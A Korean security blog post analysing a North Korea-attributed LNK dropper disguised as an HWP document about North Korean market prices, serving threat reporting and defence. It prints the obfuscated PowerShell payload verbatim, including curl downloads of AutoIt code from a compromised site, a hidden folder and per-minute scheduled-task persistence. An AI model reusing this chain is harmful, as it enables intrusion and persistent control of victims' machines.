오늘은 북한 해킹 단체 Konni(코니) 에서 만든 악성코드인 북한 내부정보시장통제 관련 내부 동향 및 물가.hwp.lnk(2024.4.4)에 대해 글을 적어 보겠습니다. 해당 악성코드는 hwp 즉 한글과 컴퓨터에서 만든 HWP 첨부 파일처럼 돼 있는 lnk 파일이며 해당 악성코드를 hwp 즉 한글과 컴퓨터에서 만든 HWP 로 생각을 하고 실행을 하면 PowerShell(파워셀)를 통해서 해당 악성코드가 동작하게 구성이 돼 있습니다. 먼저 해당 악성코드의 해쉬값은 다음과 같습니다.
파일명: 북한 내부정보시장통제 관련 내부 동향 및 물가.hwp.lnk
사이즈:161 KB
MD5:3334d2605c0df26536058f73a43cb074
SHA-1:ebcd247c5ff2babe6ad1f001b4827549391c515c
SHA-256:ba59f1ece68fa051400fd46467b0dc0a5294b8644c107646e75d225a45fff015
PowerShell(파워셀) 코드
c zyBeQRaffsdBmhotKxfTsLks(y)VdfYfmvNPf(N)CunXYTuCBdHAcfYzydPPoiFUNVhagGQ
xcARpkhUyqGQvnBcSgMXJZqytPsjcLtwVoixAoJorioxG(t)j(F)jTpUtKfyMcvzSXRPWjVgedz
BwwEzKSSaEMajuzckhKMyThvtrzAvxcAfrMvXeEPUjvVfXGsvgKYurbKoakhjquABjV(S)HdffB
VSpvmqwLgepPdgNpcgWUwECPUsVcPLsbCuyyMobKNwckfNxdgAFWimfqozAUuuWvMnjHG(n)CPe
mfZAsHgURVm(e)vTrpikkMhoszGxSBRvTYSRWffPVSuZCyKqquTsxcscXYNxUVRCduconFWkitq
sqhKTRqhwJx(Y)Q(F)PU(Y)sH(V)ab9R(W)ivucKxHieMZLPoUGCMsVFvmHxMYSAyprymzvuowY
boTdGdeJyaqnHWqNjNCYyQHFv(H)mBNwkppuTqBhbuGoszhcJCW(N)mHKxxkFnHYSBWbPaXncZj
bLhrjwhwtYHGakBERWGLpzcCesrMgevzWBkXBgnPwR(n)aiWVRkugrunVzHCnSeuppBhKwZFcKHT
nxmcuiwAzLYeeHHLpYUvKczYxbkxRFsvJBZvnEidtCVCqxcbPopeRmikYn(E)tXZKVsAuBJmwKQQ
bfgWGZZiJBpnFwtPwZaPfuTZkQcysAREpajcdbFEuNphEfWYiUPwKaJGmhLSXyRgLKYEmrKvsu(t)re
LueTeqxNsVprCQWqPHVXhvUhqLRjseoFq0002858AtrQHnJANfENxuXpzXBtyntoGJabo(i)KQQMENd
eycbownyzgWEkmJvxJeadhZnHnCuQXMQimvxyrjRfQfAewcXbtrdzNaWyQtbTSKBufvZRjWfxnUnbwi
kkF(t)vFJoumyYJYiXofBgYadgRwkEnTMUcGhQnxoXMRaNqknhppFhxqjjgyBYudbByEWcQsKRSFugaq
REjcpXnEuLvYJPV(p)BHQxnMpjrWFQqTVdiRHYPrPeoVijFSKWWAdMrBcepZKsqxnBRsPSfXzjUKirB
eEzmJUPQiLGNCHQGuNRGGtmdSRZb(T)SHtKAkujgHEyMGHgeAoLCyWrLWKrwtTV||goto&po^w^e^rs
he^l^l -windowstyle hidd(e)n function UJw(u)ElHWKh(){$ksGFWhHpfZ=Get-ChildItem
*.lnk;$ksGFWhHpfZ=$k(s)GFWhHpfZ^|where-object{$_.length -eq 0x0002858A};$zHWgpc
hixy(=)$ksGFWh(H)pfZ;$ksGFWhHpfZ=$ksGFWhHpfZ^|Select-Object -ExpandProperty Nam
e;if($ksGFWhHpfZ(.)length -eq 0){cd $env:TEMP;$ksGFWhHpfZ=Get-ChildItem *(.)ln
k;$k(s)GFWhHpfZ=$ksGFWhHpfZ^|where-object {$_.length -eq 0x0(0)02858A} ;$zHWgpc
hixy=$ksGFWhH(p)fZ;$ksGFWh(H)pfZ=$ksGFWhHpfZ^|Select-Object -ExpandProperty Nam
e;}return @($ksGFWhHpfZ, $zHWgpchi(x)y)};function xnMzgCQGES(){$zdLIXjAqBy=UJwu
ElHWKh;$ksG(F)WhHpfZ=$zdLIXjAqBy[0];$ksGFWhHpfZ=$ksGFWhHpfZ.substring(0,$ksGFWh
HpfZ.length-4);return $k(s)GFWhHpfZ};function msGSqHXiPb{$zdLIXjAqBy=xnMzgCQGES
;$(p)ovIjhOBgz(=)UJwuElHWKh(;)$ksGFWhHpfZ=$povIjhOBgz[0];$IUihtynbEF=[System.IO
.BinaryReader]::n(e)w([System.IO.File]::(o)pen($ksGFWhHpfZ,[System.IO.FileMode]
::Open,[System.IO(.)FileAccess]::ReadWrite,[System(.)IO.FileShare]::None));try{
$IUihtynbEF.BaseStream.Seek(0x(0)0001DF1,[System(.)IO.SeekOrigin]::Beg(i)n);$Oz
SR(Y)WosVJ=$IUihtynbEF.ReadBytes(0x0(0)00CE00);}finally{$IUihtynbEF.Close()};fo
r($RJPVDAeoNg=0; $RJPVDAeoNg -lt $OzSRYWosVJ.coun(t); $RJP(V)DAeoNg++) { $OzSRY
WosVJ[$RJPVD(A)eoNg]=$OzSRY(W)osVJ[$RJP(V)DAeoNg] -(b)xor 0xA1 };[System.IO(.)F
ile]::W(r)iteAllBytes($zdL(I)XjAqBy,$OzSRYWosVJ);$yujRnfzHNA='.\'(+)$zdLIXjAqBy
;^& $yujR(n)fzHNA;return 'npXIZBhRQd'};$yuj(R)nfzHNA=msGSqHXiPb(;)$eHjrSJd(k)NK
=UJwuElHWKh;remove-item -path $eHjrSJdkNK[1] -forc(e);&mkdir c:\LNjyqJhtie (&)
attrib +h c:\LNj(y)qJhtie & cd /d c:\LNjyqJhti(e) & copy c:\windows\system32\cu
rl(.)exe LNjyqJhtie(.)exe & LNjyqJhtie (-)k -o AutoIt3(.)exe https://www(.)camm
irando(.)com/wp-admin/css/temp/movement/?ra=aaaaaa^(&)zw=default0 & LN(j)yqJhti
e -k -o TMsjSIGWPN.au3 https://www.cammirando(.)com/wp-admin/css/temp/movement/
?ra=aaaaaa^&zw=default1 & schtasks /create /sc minu(t)e /mo 1 /tn "TMsjSIGWPN"
/(t)r "c:\LNjyqJhtie\AutoIt3(.)exe c:\LNjyqJhtie(\)TMsjSIGWPN(.)au3"
iconlocation: .hwp
}
local_base_path: C:\Windows\System32\cmd.exe
PowerShell(파워셀) 코드 분석
1.함수 정의
UJwuElHWKh 함수: 특정 조건에 맞는 .lnk 파일을 검색하고 파일 이름을 반환
여기서 조건은 파일의 길이가 0x0002858A인지 확인
xnMzgCQGES 함수:UJwuElHWKh 함수에서 반환된 파일 이름에서 확장자를 제거
msGSqHXiPb 함수:xnMzgCQGES 함수에서 반환된 파일 이름을 사용하여 파일을 읽고 내용을 수정
2.파일 검색 및 수정
UJwuElHWKh 함수를 사용하여 특정 조건에 맞는 .lnk 파일을 검색
xnMzgCQGES 함수를 사용하여 검색된 파일 이름의 확장자를 제거
msGSqHXiPb 함수를 사용하여 파일 내용을 읽고 수정 이후 수정된 내용을 해당 파일에 덮어씁니다.
3. 추가 파일 다운로드 및 실행
msGSqHXiPb 함수는 웹에서 악성 스크립트를 다운로드
다운로드 URL: hxxps://www(.)cammirando(.)com/wp-admin/css/temp/movement/?ra=aaaaaa^&zw=default0
hxxps://www(.)cammirando(.)com/wp-admin/css/temp/movement/?ra=aaaaaa^&zw=default0
파일 이름:TMsjSIGWPN.au3
이후 다운로드된 스크립트를 실행
4. 시스템 작업 스케줄러 설정
악성 코드는 시스템 작업 스케줄러를 사용하여 주기적으로 악성 스크립트를 실행하도록 설정
실행 주기: 1분
실행 명령:c:\LNjyqJhtie\AutoIt3.exe c:\LNjyqJhtie\TMsjSIGWPN(.)au3
5.숨김 처리
악성 코드는 실행 과정을 숨기고 파일을 시스템 속성에 숨기려고 시도
attrib +h c:\LNjyqJhtie 명령어를 사용하여 디렉토리를 숨김
해당 코드는 다음과 같은 악성 코드의 특징을 가지고 있습니다:
파일 검색 및 수정: 특정 조건에 맞는 파일을 검색하고 내용을 수정
추가 파일 다운로드 및 실행: 인터넷에서 악성 파일을 다운로드하고 실행
시스템 작업 스케줄러 설정: 시스템 작업 스케줄러를 사용하여 악성 코드를 주기적으로 실행하도록 설정
숨김 처리:과정을 숨기고 파일을 시스템 속성에 숨기려고 함
시스템 작업 스케줄러를 사용하여 주기적으로 악성 스크립트를 실행하도록 설정하는 목적은 간단합니다.
시스템 작업 스케줄러를 사용하여 주기적으로 악성 스크립트를 실행하는 이유는 다음과 같습니다:
1. 영구적인 백도어 설정: 시스템 작업 스케줄러를 통해 악성 스크립트를 주기적으로 실행하면 시스템에 영구적인 이를 통해 시스템에 대한 외부 공격이 이루어질 수 있음
2. 정기적인 악의적 활동 실행: 성 스크립트를 주기적으로 실행하면 해커는 정기적으로 악의적인 활동을 수행할 수 있습니다. 예를 들어, 시스템 정보 수집, 파일 암호화, 파일 탐색, 또는 백도어 기능 활성화 등을 수행
3. 피해 최소화: 악성코드를 만든 악성코드 제작자는 악성 스크립트를 한 번 실행하는 것보다 주기적으로 실행하여 시스템에 대한 제어를 유지하고 피해를 더 많이 끼칠 수 있음
정기적인 실행은 시스템에 대한 지속적인 접근을 제공하며, 이는 피해를 최소화하기 어렵게 만들 수 있습니다.
4. 탐지 회피: 일회성 실행보다는 주기적인 실행이 탐지를 회피하는 데 더 효과적일 수 있으며 악성적인 활동이 정기적으로 발생하면 이를 감지하고 방어하는 데 더 많은 시간이 필요할 수 있음
2024-04-07 11:37:48 UTC 기준 바이러스 토탈에서 탐지하는 보안 업체들은 다음과 같습니다.
AhnLab-V3:Dropper/LNK.Generic
ALYac:Trojan.Agent.LNK.Gen
Arcabit:Heur.BZC.YAX.Pantera.3049.7884F805 [many]
Avast:Other:Malware-gen [Trj]
AVG:Other:Malware-gen [Trj]
BitDefender:Heur.BZC.YAX.Pantera.3049.7884F805
Emsisoft:Heur.BZC.YAX.Pantera.3049.7884F805 (B)
eScan:Heur.BZC.YAX.Pantera.3049.7884F805
ESET-NOD32:A Variant Of Generik.GNWVYLU
Fortinet:LNK/Agent.AG!tr.dldr
GData:Win32.Malware.LnkCreatesSchtask.A
Google:Detected
Gridinsoft (no cloud):Susp.Obfuscted_PowerShell_Code.C.sd!yf
Ikarus:Win32.Outbreak
Kaspersky:HEUR:Trojan.Multi.Powenot.a
Lionic:Trojan.WinLNK.Pantera.4!c
MAX:Malware (ai Score=84)
McAfee:Artemis!3334D2605C0D
SentinelOne (Static ML):Static AI - Suspicious LNK
Skyhigh (SWG):BehavesLike.Trojan.cb
Sophos:Mal/PowLnkObf-D
Symantec:CL.Downloader!gen20
Trellix (FireEye):Heur.BZC.YAX.Pantera.3049.7884F805
Varist:LNK/ABRisk.UIOP-2
VBA32:Trojan.Link.Crafted
ZoneAlarm by Check Point:HEUR:Trojan.Multi.Powenot.a
ZonerProbably Heur.LNKScript
기본적으로 이런 악성코드에 대응하려면 백신 프로그램을 설치해서 사용하면 되고 자신이 아는 사람에게 온 이메일이라도 의심해 보는 방법밖에 없으며 해당 부분을 보면 우리 북한??은 대북 관계자 분들을 타겟 으로 공격을 하는 것으로 추측되며 해당 악성코드는 이번에는 이탈리아 여행 관련 사이트를 해킹해서 악성코드 유포지로 사용한 것을 보고 있으며 해당 자신이 관리하는 사이트 등은 잘 관리 해서 악성코드 경유지로 사용되는 것을 막아야 하겠습니다.
'소프트웨어 팁 > 보안 및 분석' 카테고리의 다른 글
TEMU(테무)배송 정보로 위장한 피싱 메일-배송 부서 kisU1SvZbo@mail9602-udlv(.)com(2024.4.8) (0) | 2024.04.18 |
---|---|
Microsoft Intel 프로세서(Spectre)에 대한 새로운 레지스트리 완화 기능 발표 (0) | 2024.04.17 |
Intel CPU(인텔 CPU)Linux 시스템에 영향 미치는 새로운 Spectre v2 공격 (0) | 2024.04.16 |
교통민원24(이파인) 사칭 피싱 사이트-도로법위반 벌점 보고서(전송)내용확인(2024.3.9) (0) | 2024.04.15 |
LG 스마트 TV 9만대 원격 공격 노출 및 취약점 해결 방법 (2) | 2024.04.11 |
윈도우 10 KB5036892,윈도우 11 KB5036893 보안 업데이트 (0) | 2024.04.11 |
교통민원24(이파인) 사칭 피싱 사이트-도로법위반 보고서(전송) 내용 확인(2024.4.7) (0) | 2024.04.10 |
북한 해킹 단체 Reaper(리퍼)에서 만든 악성코드-제20대_대통령선거_선거권자_개표참관인_공개_모집(최종).hwp(2022.8.15) (0) | 2024.04.09 |